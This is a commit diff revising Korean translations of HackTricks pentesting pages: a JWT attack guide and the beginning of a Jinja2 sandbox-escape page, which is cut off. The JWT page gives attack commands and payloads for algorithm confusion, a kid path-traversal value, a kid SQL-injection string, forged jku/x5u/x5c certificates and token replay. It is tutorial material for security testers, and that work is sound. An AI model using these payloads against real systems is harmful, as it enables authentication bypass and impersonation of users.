mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['pentesting-web/hacking-jwt-json-web-tokens.md', 'pentesting
This commit is contained in:
parent
acdfcbf9fc
commit
8da8f0c065
2 changed files with 80 additions and 72 deletions
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고**하거나 **HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -25,7 +25,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### **빠른 승리**
|
||||
|
||||
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)을 `All Tests!` 모드로 실행하고 녹색 줄을 기다리세요.
|
||||
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)을 `All Tests!` 모드로 실행하고 녹색 줄이 나올 때까지 기다리세요.
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
|
@ -35,7 +35,7 @@ python3 jwt_tool.py -M at \
|
|||
|
||||
![](<../.gitbook/assets/image (435).png>)
|
||||
|
||||
그럼, 프록시에서 해당 요청을 검색하거나 jwt\_ tool을 사용하여 해당 요청에 사용된 JWT를 덤프할 수 있습니다:
|
||||
그럼, 당신은 프록시에서 해당 요청을 검색하거나 jwt\_ tool을 사용하여 해당 요청에 사용된 JWT를 덤프할 수 있습니다:
|
||||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
|
@ -48,15 +48,15 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
|||
JWT의 서명이 확인되는지 확인하려면:
|
||||
|
||||
* 오류 메시지가 지속적인 확인을 제안하면; 상세 정보가 포함된 상세한 오류를 검토해야 합니다.
|
||||
* 반환된 페이지의 변경은 확인을 나타냅니다.
|
||||
* 반환된 페이지의 변경도 확인을 나타냅니다.
|
||||
* 변경이 없으면 확인이 없음을 나타냅니다; 이때는 페이로드 클레임을 조작해 실험해야 합니다.
|
||||
|
||||
### 출처
|
||||
|
||||
토큰이 서버 측에서 생성되었는지 또는 클라이언트 측에서 생성되었는지를 확인하기 위해 프록시의 요청 기록을 조사하는 것이 중요합니다.
|
||||
|
||||
* 클라이언트 측에서 처음 본 토큰은 키가 클라이언트 측 코드에 노출될 수 있음을 시사하므로 추가 조사가 필요합니다.
|
||||
* 서버 측에서 발생한 토큰은 안전한 프로세스를 나타냅니다.
|
||||
* 클라이언트 측에서 처음 본 토큰은 키가 클라이언트 측 코드에 노출될 수 있음을 나타내므로 추가 조사가 필요합니다.
|
||||
* 서버 측에서 생성된 토큰은 안전한 프로세스를 나타냅니다.
|
||||
|
||||
### 기간
|
||||
|
||||
|
@ -66,34 +66,34 @@ JWT의 서명이 확인되는지 확인하려면:
|
|||
|
||||
[**이 페이지를 참조하세요.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
### 알고리즘을 None으로 변경(CVE-2015-9235)
|
||||
### 알고리즘을 None으로 수정하기 (CVE-2015-9235)
|
||||
|
||||
사용된 알고리즘을 "None"으로 설정하고 서명 부분을 제거하세요.
|
||||
|
||||
Burp 확장 기능인 "JSON Web Token"을 사용하여 이 취약점을 시도하고 JWT 내부의 다른 값을 변경할 수 있습니다(요청을 Repeater로 보내고 "JSON Web Token" 탭에서 토큰의 값을 수정할 수 있습니다. 또한 "Alg" 필드의 값을 "None"으로 설정할 수도 있습니다).
|
||||
Burp 확장 기능인 "JSON Web Token"을 사용하여 이 취약점을 시도하고 JWT 내부의 다른 값을 변경할 수 있습니다 (요청을 Repeater로 보내고 "JSON Web Token" 탭에서 토큰의 값을 수정할 수 있습니다. 또한 "Alg" 필드의 값을 "None"으로 설정할 수도 있습니다).
|
||||
|
||||
### RS256(비대칭) 알고리즘을 HS256(대칭)으로 변경(CVE-2016-5431/CVE-2016-10555)
|
||||
### RS256(비대칭) 알고리즘을 HS256(대칭)으로 변경하기 (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
알고리즘 HS256는 각 메시지를 서명하고 확인하기 위해 비밀 키를 사용합니다.\
|
||||
알고리즘 RS256는 메시지를 서명하기 위해 개인 키를 사용하고 인증에는 공개 키를 사용합니다.
|
||||
알고리즘 HS256은 각 메시지를 서명하고 확인하기 위해 비밀 키를 사용합니다.\
|
||||
알고리즘 RS256은 메시지를 서명하기 위해 개인 키를 사용하고 인증을 위해 공개 키를 사용합니다.
|
||||
|
||||
RS256에서 HS256로 알고리즘을 변경하면 백엔드 코드가 공개 키를 비밀 키로 사용하고 그런 다음 HS256 알고리즘을 사용하여 서명을 확인합니다.
|
||||
|
||||
그런 다음 공개 키를 사용하여 RS256을 HS256로 변경하고 유효한 서명을 생성할 수 있습니다. 이를 실행하는 웹 서버의 인증서를 검색할 수 있습니다:
|
||||
그런 다음 공개 키를 사용하여 RS256을 HS256로 변경하여 유효한 서명을 생성할 수 있습니다. 이를 실행하는 웹 서버의 인증서를 검색할 수 있습니다:
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
```
|
||||
### 헤더 내의 새로운 공개 키
|
||||
|
||||
공격자가 토큰의 헤더에 새 키를 삽입하고 서버가 이 새 키를 사용하여 서명을 확인하는 경우 (CVE-2018-0114).
|
||||
공격자는 토큰의 헤더에 새 키를 삽입하고 서버가 이 새 키를 사용하여 서명을 확인합니다 (CVE-2018-0114).
|
||||
|
||||
이 작업은 "JSON Web Tokens" Burp 확장 프로그램을 사용하여 수행할 수 있습니다.\
|
||||
(요청을 Repeater로 보내고, JSON Web Token 탭에서 "CVE-2018-0114"를 선택한 후 요청을 보냅니다).
|
||||
|
||||
### JWKS 위조
|
||||
### JWKS 스푸핑
|
||||
|
||||
지침은 JWT 토큰의 보안을 평가하는 방법을 상세히 설명하며 특히 "jku" 헤더 클레임을 사용하는 경우에 해당합니다. 이 클레임은 토큰 검증에 필요한 공개 키가 포함된 JWKS (JSON Web Key Set) 파일로 연결되어야 합니다.
|
||||
지침은 JWT 토큰의 보안을 평가하는 방법을 상세히 설명하며 특히 "jku" 헤더 클레임을 사용하는 경우에 대해 다룹니다. 이 클레임은 토큰의 확인에 필요한 공개 키가 포함된 JWKS (JSON Web Key Set) 파일로 연결되어야 합니다.
|
||||
|
||||
* **"jku" 헤더를 사용한 토큰 평가**:
|
||||
* "jku" 클레임의 URL을 확인하여 적절한 JWKS 파일로 이어지는지 확인합니다.
|
||||
|
@ -110,9 +110,9 @@ python3 jwt_tool.py JWT_HERE -X s
|
|||
|
||||
### Kid 문제 개요
|
||||
|
||||
`kid`라고 알려진 선택적 헤더 클레임은 특정 키를 식별하는 데 사용되며, 토큰 서명 검증을 위해 여러 키가 존재하는 환경에서 특히 중요합니다. 이 클레임은 토큰 서명을 확인하기 위한 적절한 키를 선택하는 데 도움을 줍니다.
|
||||
`kid`라고 알려진 선택적 헤더 클레임은 특정 키를 식별하는 데 사용되며, 토큰 서명 확인을 위해 여러 키가 존재하는 환경에서 특히 중요합니다. 이 클레임은 토큰 서명을 확인하기 위한 적절한 키를 선택하는 데 도움을 줍니다.
|
||||
|
||||
#### "kid"를 통한 키 공개
|
||||
#### "kid"를 통한 키 노출
|
||||
|
||||
헤더에 `kid` 클레임이 포함되어 있는 경우 해당 파일이나 해당 파일의 변형을 웹 디렉토리에서 검색하는 것이 좋습니다. 예를 들어, `"kid":"key/12345"`가 지정된 경우, 웹 루트에서 _/key/12345_ 및 _/key/12345.pem_ 파일을 검색해야 합니다.
|
||||
|
||||
|
@ -122,9 +122,7 @@ python3 jwt_tool.py JWT_HERE -X s
|
|||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
### JWT 및 JSON 웹 토큰 해킹
|
||||
|
||||
파일의 예측 가능한 콘텐츠를 대상으로 함으로써 유효한 JWT를 위조할 수 있습니다. 예를 들어, Linux 시스템의 `/proc/sys/kernel/randomize_va_space` 파일은 값 **2**를 포함하고 있으며, 이를 JWT 생성을 위한 대칭 암호로 사용할 수 있습니다.
|
||||
예측 가능한 콘텐츠를 가진 파일을 대상으로 함으로써 유효한 JWT를 위조할 수 있습니다. 예를 들어, Linux 시스템의 `/proc/sys/kernel/randomize_va_space` 파일은 값 **2**를 포함하고 있으며, 이를 JWT 생성을 위한 대칭 암호로 사용할 수 있는 `kid` 매개변수에 사용할 수 있습니다.
|
||||
|
||||
#### "kid"를 통한 SQL Injection
|
||||
|
||||
|
@ -132,7 +130,7 @@ python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
|||
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
이 변경으로 JWT 서명을 위해 알려진 비밀 키인 `ATTACKER`가 사용됩니다.
|
||||
이 변경으로 JWT 서명에 알려진 비밀 키인 `ATTACKER`를 사용하도록 강제됩니다.
|
||||
|
||||
#### "kid"를 통한 OS Injection
|
||||
|
||||
|
@ -145,15 +143,15 @@ python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
|||
#### jku
|
||||
|
||||
jku는 **JWK Set URL**을 나타냅니다.\
|
||||
토큰이 "**jku**" **Header** 클레임을 사용한다면, 제공된 URL을 확인하십시오. 이 URL은 토큰을 확인하는 데 사용되는 공개 키를 보유하는 JWKS 파일을 가리켜야 합니다. 토큰을 조작하여 jku 값을 모니터링할 수 있는 웹 서비스로 지정하세요.
|
||||
토큰이 “**jku**” **Header** 클레임을 사용한다면, **제공된 URL을 확인**하십시오. 이 URL은 토큰을 확인하는 데 사용되는 공개 키를 보유하는 JWKS 파일을 가리켜야 합니다. 토큰을 조작하여 jku 값을 모니터링할 수 있는 웹 서비스로 지정하십시오.
|
||||
|
||||
먼저 새로운 개인 및 공개 키로 새 인증서를 생성해야 합니다.
|
||||
먼저 새로운 개인 및 공개 키를 사용하여 새 인증서를 생성해야 합니다.
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
그럼 예를 들어 [**jwt.io**](https://jwt.io)를 사용하여 **생성된 공개 및 개인 키로 새 JWT를 만들고 매개변수 jku를 생성된 인증서로 지정**할 수 있습니다. 유효한 jku 인증서를 만들기 위해 원본을 다운로드하고 필요한 매개변수를 변경할 수 있습니다.
|
||||
그럼 예를 들어 [**jwt.io**](https://jwt.io)를 사용하여 **생성된 공개 및 개인 키로 새 JWT를 만들고 매개변수 jku를 생성된 인증서로 지정할 수 있습니다.** 유효한 jku 인증서를 만들기 위해 원본을 다운로드하고 필요한 매개변수를 변경할 수 있습니다.
|
||||
|
||||
공개 인증서에서 "e" 및 "n" 매개변수를 얻을 수 있습니다:
|
||||
```bash
|
||||
|
@ -166,16 +164,16 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. PEM 형식으로 인코딩된 X.509 (인증서 형식 표준) 공개 인증서 세트를 가리키는 URI입니다. 세트의 첫 번째 인증서는 이 JWT를 서명하는 데 사용된 인증서여야 합니다. 이어지는 각 인증서는 이전 인증서를 서명하며, 이로써 인증서 체인이 완성됩니다. X.509는 RFC 5280에서 정의되어 있습니다. 인증서를 전송하기 위해서는 전송 보안이 필요합니다.
|
||||
X.509 URL. PEM 형식으로 인코딩된 일련의 X.509(인증서 형식 표준) 공개 인증서를 가리키는 URI. 집합 내의 첫 번째 인증서는 이 JWT를 서명하는 데 사용된다. 그 다음의 각 인증서는 이전 인증서를 서명하여 인증서 체인을 완성한다. X.509은 RFC 5280에서 정의되어 있다. 인증서를 전송하기 위해서는 전송 보안이 필요하다.
|
||||
|
||||
**이 헤더를 귀하가 제어하는 URL로 변경**하고 요청을 받았는지 확인해보세요. 그런 경우에는 **JWT를 변조**할 수 있습니다.
|
||||
**이 헤더를 제어할 수 있는 URL로 변경**하고 요청을 받았는지 확인하십시오. 그 경우 **JWT를 변조**할 수 있습니다.
|
||||
|
||||
귀하가 제어하는 인증서를 사용하여 새 토큰을 위조하려면 인증서를 생성하고 공개 및 개인 키를 추출해야 합니다:
|
||||
당신이 제어하는 인증서를 사용하여 새 토큰을 위조하려면 인증서를 생성하고 공개 및 개인 키를 추출해야 합니다.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
그럼 예를 들어 [**jwt.io**](https://jwt.io)를 사용하여 **생성된 공개 및 개인 키를 사용하고 x5u 매개변수를 .crt로 생성된 인증서로 지정하여 새 JWT를 생성할 수 있습니다.**
|
||||
그럼 예를 들어 [**jwt.io**](https://jwt.io)를 사용하여 **생성된 공개 및 개인 키로 새 JWT를 생성하고 매개변수 x5u를 .crt로 지정된 인증서에 연결할 수 있습니다.**
|
||||
|
||||
![](<../.gitbook/assets/image (439).png>)
|
||||
|
||||
|
@ -187,7 +185,7 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
|||
|
||||
![](<../.gitbook/assets/image (440).png>)
|
||||
|
||||
공격자가 **자체 서명된 인증서를 생성**하고 해당 개인 키를 사용하여 위조 토큰을 생성하고 "x5c" 매개변수의 값을 새로 생성된 인증서로 대체하고 다른 매개변수인 n, e 및 x5t를 수정하면 위조된 토큰이 서버에서 수락되게 됩니다.
|
||||
공격자가 **자체 서명된 인증서를 생성**하고 해당 개인 키를 사용하여 위조 토큰을 생성하고 "x5c" 매개변수의 값을 새로 생성된 인증서로 대체하고 다른 매개변수인 n, e 및 x5t를 수정하면 위조된 토큰이 사실상 서버에서 수락될 수 있습니다.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
|
@ -208,13 +206,13 @@ const key = new NodeRSA();
|
|||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||||
console.log(importedKey.exportKey("public"));
|
||||
```
|
||||
새 개인/공개 키를 생성하고 새 공개 키를 토큰 내에 내장시킨 후 이를 사용하여 새로운 서명을 생성하는 것이 가능합니다:
|
||||
다음은 새 개인/공개 키를 생성하고 새 공개 키를 토큰 내에 포함시킨 다음 이를 사용하여 새 서명을 생성하는 것이 가능합니다:
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
다음은 "n"과 "e"를 얻을 수 있는 nodejs 스크립트입니다:
|
||||
다음은 "n"과 "e"를 얻을 수 있는 이 Node.js 스크립트입니다:
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
@ -224,34 +222,40 @@ const publicComponents = key.exportKey('components-public');
|
|||
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
||||
console.log('Parameter e: ', publicComponents.e.toString(16));
|
||||
```
|
||||
### ES256: 동일한 논스로 개인 키 노출
|
||||
|
||||
어떤 애플리케이션이 ES256을 사용하고 두 개의 JWT를 생성하기 위해 동일한 논스를 사용한다면, 개인 키를 복원할 수 있습니다.
|
||||
|
||||
여기 예시가 있습니다: [ECDSA: 동일한 논스를 사용하여 개인 키 노출 (SECP256k1과 함께)](https://asecuritysite.com/encryption/ecd5)
|
||||
|
||||
### JTI (JWT ID)
|
||||
|
||||
JTI (JWT ID) 클레임은 JWT 토큰의 고유 식별자를 제공합니다. 이를 사용하여 토큰이 재생되는 것을 방지할 수 있습니다.\
|
||||
그러나 ID의 최대 길이가 4 (0001-9999)인 상황을 상상해보십시오. 요청 0001과 10001은 동일한 ID를 사용할 것입니다. 따라서 백엔드가 각 요청마다 ID를 증가시키는 경우, 이를 악용하여 **요청을 재생**할 수 있습니다 (각 성공적인 재생 사이에 10000개의 요청을 보내야 함).
|
||||
JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니다. 이를 사용하여 토큰 재전송을 방지할 수 있습니다.\
|
||||
그러나 ID의 최대 길이가 4 (0001-9999)인 상황을 상상해보십시오. 요청 0001과 10001은 동일한 ID를 사용할 것입니다. 따라서 백엔드가 각 요청마다 ID를 증가시키는 경우, 이를 악용하여 **요청 재전송**을 할 수 있습니다 (각 성공적인 재전송 사이에 10000개의 요청을 보내야 함).
|
||||
|
||||
### JWT Registered claims
|
||||
### JWT 등록된 클레임
|
||||
|
||||
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
|
||||
|
||||
### Other attacks
|
||||
### 기타 공격
|
||||
|
||||
**Cross-service Relay Attacks**
|
||||
|
||||
일부 웹 애플리케이션은 토큰의 생성 및 관리를 위해 신뢰할 수 있는 JWT 서비스에 의존하는 것으로 관찰되었습니다. 동일한 JWT 서비스의 다른 클라이언트가 생성한 토큰이 다른 클라이언트에서 허용된 경우가 기록되었습니다. 제3자 서비스를 통해 JWT의 발급 또는 갱신이 관찰된 경우, 동일한 사용자 이름/이메일을 사용하여 해당 서비스의 다른 클라이언트에 가입하는 가능성을 조사해야 합니다. 그런 다음 획득한 토큰을 대상에 대한 요청에서 재생해 보는 시도를 해야 합니다.
|
||||
일부 웹 애플리케이션은 토큰의 생성 및 관리를 위해 신뢰할 수 있는 JWT 서비스에 의존하는 것으로 관찰되었습니다. 동일한 JWT 서비스의 다른 클라이언트가 수락한 토큰이 다른 클라이언트에 의해 수락된 경우가 기록되었습니다. 제3자 서비스를 통해 JWT의 발급 또는 갱신이 관찰된 경우, 동일한 사용자 이름/이메일을 사용하여 해당 서비스의 다른 클라이언트에 가입하는 가능성을 조사해야 합니다. 그런 다음 획득한 토큰을 대상에 대한 요청으로 재전송해 토큰이 수락되는지 확인해야 합니다.
|
||||
|
||||
* 토큰이 허용되면 사용자의 계정을 스푸핑할 수 있는 심각한 문제가 발생할 수 있습니다. 그러나 제3자 애플리케이션에 가입하는 경우 더 넓은 테스트 권한이 필요할 수 있으며, 이는 법적인 모호한 영역으로 진입할 수 있습니다.
|
||||
* 토큰이 수락된다면 어떤 사용자의 계정을 스푸핑할 수 있는 심각한 문제가 발생할 수 있습니다. 그러나 제3자 애플리케이션에 가입하는 경우 더 넓은 테스트 권한이 필요할 수 있음을 유의해야 합니다.
|
||||
|
||||
**토큰 만료 확인**
|
||||
|
||||
토큰의 만료는 "exp" 페이로드 클레임을 사용하여 확인됩니다. JWT가 종종 세션 정보 없이 사용되기 때문에 주의 깊은 처리가 필요합니다. 다른 사용자의 JWT를 캡처하고 재생할 경우 많은 경우 해당 사용자를 흉내 내는 것이 가능할 수 있습니다. JWT RFC는 토큰에 만료 시간을 설정하기 위해 "exp" 클레임을 활용하여 JWT 재생 공격을 완화하는 것을 권장합니다. 또한 응용 프로그램에 의해 이 값의 처리 및 만료된 토큰의 거부를 보장하기 위한 관련 검사의 구현이 중요합니다. 토큰에 "exp" 클레임이 포함되어 있고 테스트 시간 제한이 허용하는 경우, 토큰을 저장하고 만료 시간이 지난 후에 재생하는 것이 좋습니다. 토큰의 내용, 타임스탬프 구문 분석 및 만료 확인(UTC 타임스탬프)은 jwt_tool의 -R 플래그를 사용하여 읽을 수 있습니다.
|
||||
토큰의 만료는 "exp" 페이로드 클레임을 사용하여 확인됩니다. JWT가 종종 세션 정보 없이 사용되기 때문에 주의 깊은 처리가 필요합니다. 다른 사용자의 JWT를 캡처하고 재전송하는 경우, 해당 사용자를 흉내낼 수 있습니다. JWT RFC는 토큰에 만료 시간을 설정하기 위해 "exp" 클레임을 활용하여 JWT 재전송 공격을 완화하는 것을 권장합니다. 또한 응용 프로그램이 이 값을 처리하고 만료된 토큰을 거부하기 위한 관련 검사를 구현하는 것이 중요합니다. 토큰에 "exp" 클레임이 포함되어 있고 테스트 시간 제한이 허용된다면, 토큰을 저장하고 만료 시간이 경과한 후에 재전송하는 것이 좋습니다. 토큰의 내용, 타임스탬프 구문 분석 및 만료 확인(UTC 타임스탬프)은 jwt_tool의 -R 플래그를 사용하여 읽을 수 있습니다.
|
||||
|
||||
* 응용 프로그램이 토큰을 여전히 유효성 검사하는 경우, 토큰이 만료되지 않을 수 있다는 것을 의미할 수 있으므로 보안 위험이 존재할 수 있습니다.
|
||||
* 응용 프로그램이 여전히 토큰을 유효성 검사하는 경우, 토큰이 만료되지 않을 수 있다는 것을 의미할 수 있으므로 보안 위험이 존재할 수 있습니다.
|
||||
|
||||
### Tools
|
||||
### 도구
|
||||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있다면, 해킹할 수 없는 것을 해킹하십시오 - **채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
|
||||
|
@ -259,14 +263,14 @@ JTI (JWT ID) 클레임은 JWT 토큰의 고유 식별자를 제공합니다. 이
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**</summary>
|
||||
<summary><strong>제로부터 AWS 해킹을 전문가로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하십시오!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으십시오
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하십시오, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하십시오.
|
||||
* **HackTricks** 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github 저장소에 PR을 제출하여 해킹 트릭을 공유하십시오.
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 여러분의 해킹 요령을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,7 +10,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 귀하의 해킹 기술을 공유하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -34,7 +34,7 @@ app.run()
|
|||
|
||||
### **디버그 문**
|
||||
|
||||
디버그 확장 기능이 활성화되어 있으면 `debug` 태그를 사용하여 현재 컨텍스트 및 사용 가능한 필터 및 테스트를 덤프할 수 있습니다. 이는 디버거를 설정하지 않고도 템플릿에서 사용할 수 있는 것을 확인하는 데 유용합니다.
|
||||
디버그 확장이 활성화되어 있으면 `debug` 태그를 사용하여 현재 컨텍스트 및 사용 가능한 필터 및 테스트를 덤프할 수 있습니다. 이는 디버거를 설정하지 않고도 템플릿에서 사용할 수 있는 것을 확인하는 데 유용합니다.
|
||||
```python
|
||||
<pre>
|
||||
|
||||
|
@ -61,11 +61,11 @@ app.run()
|
|||
```
|
||||
## **Jinja Injection**
|
||||
|
||||
우선, Jinja 삽입에서는 **샌드박스를 탈출하는 방법을 찾아야** 하며 일반적인 파이썬 실행 흐름에 **다시 접근**해야 합니다. 이를 위해 **샌드박스에서 접근 가능한** **비샌드박스 환경의 객체를 남용**해야 합니다.
|
||||
우선, Jinja 삽입에서는 **샌드박스를 탈출하는 방법을 찾아야** 하며 일반적인 파이썬 실행 흐름에 다시 접근해야 합니다. 이를 위해 **샌드박스 환경 밖에서 가져온 객체를 남용**해야 합니다.
|
||||
|
||||
### 전역 객체 접근
|
||||
### 전역 객체에 액세스하기
|
||||
|
||||
예를 들어 코드 `render_template("hello.html", username=username, email=email)`에서 username 및 email 객체는 **비샌드박스 파이썬 환경에서 가져오며** **샌드박스 환경 내에서 접근 가능**할 것입니다.\
|
||||
예를 들어 코드 `render_template("hello.html", username=username, email=email)`에서 username과 email 객체는 **샌드박스 밖의 파이썬 환경에서 가져오며** 샌드박스 환경 내에서 **접근 가능**할 것입니다.\
|
||||
또한, **샌드박스 환경에서 항상 접근 가능한 다른 객체**들이 있습니다.
|
||||
```
|
||||
[]
|
||||
|
@ -77,9 +77,9 @@ request
|
|||
```
|
||||
### \<class 'object'> 복구
|
||||
|
||||
그런 다음, 이러한 객체에서 클래스인 **`<class 'object'>`**에 도달해야 합니다. 이는 이 객체에서 **`__subclasses__`** 메서드를 호출하고 **비샌드박스** 파이썬 환경의 모든 클래스에 액세스할 수 있기 때문입니다.
|
||||
